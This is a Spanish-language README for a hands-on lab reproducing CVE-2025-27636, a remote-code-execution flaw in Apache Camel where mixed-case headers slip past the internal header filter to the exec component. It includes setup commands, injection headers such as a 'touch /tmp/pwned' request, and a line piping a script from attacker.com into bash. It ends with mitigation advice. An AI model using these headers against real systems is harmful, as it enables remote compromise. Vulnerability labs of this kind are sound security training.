
Laboratorio práctico para reproducir CVE-2025-27636, un RCE crítico en Apache Camel mediante una omisión del filtro de encabezados que distingue mayúsculas y minúsculas. Demuestra la inyección de encabezados para ejecutar comandos arbitrarios a través del endpoint exec.
CVE-2025-27636 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Apache Camel, específicamente en el componente camel-exec. Surge de un problema sutil pero peligroso:
DefaultHeaderFilterStrategyrealiza comprobaciones que distinguen entre mayúsculas y minúsculas en los nombres de los encabezados, lo que puede eludirse utilizando mayúsculas/minúsculas alternativas.
Esto significa que los encabezados internos de Camel, como CamelExecCommandExecutable, que deberían bloquearse, pueden colarse si se manipula su uso de mayúsculas/minúsculas (por ejemplo, cAmeLexecCommandExecutable).
Cuando este encabezado llega al endpoint exec:, un atacante puede inyectar comandos arbitrarios, lo que lleva a un compromiso total del sistema.
DefaultHeaderFilterStrategyEl DefaultHeaderFilterStrategy de Apache Camel está diseñado para proteger encabezados internos como:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 vulnerable si el uso de mayúsculas/minúsculas elude el filtro🔍 ¿Qué Significa "Interno"?
Los encabezados internos son:
Camel*Sin embargo, antes del parche, este filtro coincidía con los nombres de los encabezados distinguiendo entre mayúsculas y minúsculas, lo que viola la especificación HTTP (donde los encabezados no distinguen entre mayúsculas/minúsculas) y permite eludirlo de la siguiente manera:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
Este encabezado se pasaría al componente exec:, que luego ejecuta la carga útil.
CamelExecCommandExecutableEste encabezado le dice al componente camel-exec qué comando ejecutar. Es poderoso—y extremadamente peligroso—si es controlable por el usuario, especialmente en entornos que soportan comandos a nivel de sistema operativo (por ejemplo, bash, cmd.exe, etc.).
Proyecto: Pinewood Server Diagnostic
Autor: @enochgitgamefied
Objetivo: Reproducir CVE-2025-27636 en un laboratorio educativo en vivo.
/tasks → Lista tareas usando exec:tasklist o exec:ps/systeminfo → Muestra información del SO (systeminfo o uname -a)/network → Muestra ipconfig o ifconfig/ usando Jetty embebido# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
Luego visita en tu navegador:
🖥️ http://<your-ip>:8484
Comportamiento sin parche:
Si envías un encabezado como este (observa las mayúsculas/minúsculas):
cAmeLexecCommandExecutable: whoami
El filtro no lo bloquea y se pasa al endpoint exec:. Puedes demostrar:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← peligrosoSe está preparando una demostración completa y se subirá pronto. Recorrerá:
Enlace de la demo en YouTube https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy personalizado si debes aplicar una lógica más estricta.exec: directamente a HTTP a menos que estén completamente aseguradas.exec.Este laboratorio está diseñado solo para fines educativos y de laboratorio controlado. Nunca intentes esto en sistemas o redes no autorizados.
